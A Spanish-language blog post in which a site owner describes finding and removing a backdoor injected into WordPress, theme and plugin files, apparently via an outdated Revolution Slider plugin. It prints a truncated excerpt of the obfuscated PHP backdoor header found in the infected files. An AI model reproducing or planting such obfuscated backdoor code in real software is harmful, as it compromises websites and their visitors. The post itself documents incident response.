Desde hace unos días había detectado que mi página no funcionaba como al principio, era lenta, muy lenta, y esto suele ser un indicativo de que algo no está funcionando como debería, y más, cuando en la página no hay casi artículos. Podría ser que la web estuviera teniendo un aluvión de visitas y colapsaran el servidor, así que decidí comprobarlo con un plugin para analizar el tráfico de la web.
Como era de esperar, la web tiene muy pocas visitas, y es lógico porque casi no le estoy prestando atención, por lo que no genera mucho interés para atraer visitas. Otro punto que tuve en cuenta fue revisar los recursos del servidor, pero estos no consumían más del 25% en CPU, y el consumo de memoria no alcanzaba ni el 15% de memoria física, e igual sucedía con los procesos de entrada y salida IO.
Todo estaba claro, no hay visitas, el servidor está corriendo utilizando los mínimos recursos , y aún así el tiempo de carga de la web era de unos 60 segundos, un tiempo excesivo para una web que debía cargar en 1 o 2 segundos como máximo. Mi investigación se centró en revisar todos los Logs de errores, pero allí no había nada, todo parecía estar con normalidad, por lo que comencé a revisar los archivos más importantes de la configuración de WordPress, y ¡ voilà!, tardé poco en darme cuenta que algo no estaba bien en los archivos de configuración, una estraña cadena de caracteres y código iniciaban casi todos los archivos de configuración. Revisando los directorios comprobé que no solo el problema estaba en WordPress, sino en el Themes y plugins.
Estos archivos habían sido modificados con una cadena que activaba un Backdoor en el wordpress, aunque por algún motivo el atacante todavía no habían podido coger el control total del portal. Los archivos infectados contenían en la cabecera el siguiente código, pongo parte de la cadena porque es bastante larga:
[code]
<?php $ddmsoqdann = ‘7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyf- x24y4 x24- x24]y8 x24x24]25 x24- x24-!% x24- <*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27 id%6< x7fw6* x7f_*#ujo]36]373P6]36]73]83]238M7]381]R x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%]#/r%/h%) n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]55pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA p%!|!*!***b%)sfxpmpus-bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2, *j%-#121]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x556-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]5pmqyfA>2b%!<*qp%-*.%)euhA)3otmfV x7f<*XAZASV<*w %)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47;tuofuopd`ufh`fmjg}[;ldpt%}K;`uflPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;f%z!>2<!gps) %j>1<%j=6[%ww2!>#p#/3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*pjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!211M5]67] 452]88]5]48]32M3]317]445]212]445]43]3L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]|7**197-2qj%7-K)udfoopdXA x22)7gj6x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!>1<%j:=tj {fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1)gpf{jt)!gj!<*2bd%-#1GO x22#)fe x27doj%6< x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7 fw6*CW&)7gj6<*K]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]Dq%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C%7**^#zsfvr# x5cq%)ufttj x22)gj6<^ #Y# x5cq% x27Y%6<.msv`ftsbqA7> ” x63 162 x65 141 x74 145 x5f 146 x75 156 x63 164 x69 157 x6e”; func_t%:osvufs:~:<*9-1-r%)s%>/h%:6< x7fw6<*K)ftpmdXA6tpqss utRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:cepI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~ap(“cjgvbqf”,str_split(“%tjw!>!;} @error_reporting(0); $uyvflzk = implode(array_m]37y]672]48y]#>s%<#462]47y]252]1< x7fw6*3qj%7> x2272qj%)7gj6<**2q7jsv%6<C>^#zsfvr# x5cq1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp> hmg%!<12>j%!|!*#y84]275]y83]273]y76]277pD#)sfebfI{*w%)kVx{**#k#ufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f rstr($uas,” x72 166 x3a 61 x31″)) or (st#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>1<%j=tj{fpg)% x24- x24j!|!*msv%)}k~~~ <ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%#]y84]275]y83]248]y83]pz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427jRk3`{666~6<&w6< x7fw6*CWQUUI&b%!|!*) 323zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!*2]e7y]#>n%<#372]58y]472×24*!|! x24- x24 x5c if ((strstr($uas,” x6d 163 x69 145″)) or (st2 157 x6d 145″)) or (strstr($uas,” x66 151 !%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QU)323ldfidk!~!<**qp%!-uyfu%)3of) fepdof`57ftbc x7f!|!*uyfu
[/code]
Comprobarán que esta cadena de inicio en los archivos de WordPress no es normal, cualquiera que ha toqueteado los archivos de cualquier WordPress, Joomla u otro CMS sabe que nunca inician de estar forma.
Al comprobar que los archivos habían sido infectados, y al no saber el alcance del problema instalé un Firewall y Antivirus para WordPress llamado Wordference, el cual me escaneó todos los archivos y localizó cada uno de los archivos que habían sido contaminados, de esta forma pude iniciar un plan de contingencias.
En primer lugar actualicé todos los plugins, menos uno, que era premium y ya me había caducado, por lo que no podía actualizarlo. Al realizar el análisis me di cuenta que este plugin era el único que había sido contaminado, por lo que mis sospechas me hacían pensar que este era el causante del problema, este plugin Revolution Slider llevaba muchos meses desactualizado, por lo que lo primero que hice fue desinstalarlo y borrar todo rastro del servidor.
Borré todos los Themes que no utilizo, y reinstalé por completo el Theme actual y actualizado.
Luego volví a realizar el escaner de la web, y de 408 archivos infectados tan solo quedaban 10 archivos infectados, ahora que se había reducido la infección localicé uno por uno los arvhiso que me había indicado el antivirus y comencé a borrar todas esas cadenas de código que estaban ralentizando y exponiendo mi web.
Una vez terminado volví a realizar un test de velocidad de carga, pasando de tardar 60 segundas a tan solo 1.44 segundos, ahora si estaba funcionando correctamente.
Según el antivirus el Backdoor se llama PHP/eawtliul, y no parece haber mucha información sobre él.
Estaré pendiente durante los próximos días la actividad en la web, revisando los archivos para ver si hay nuevas infecciones, quizás Revolution slider no era el medio de inyección para propagar el código malicioso, por lo que los siguientes días me toca estar atento.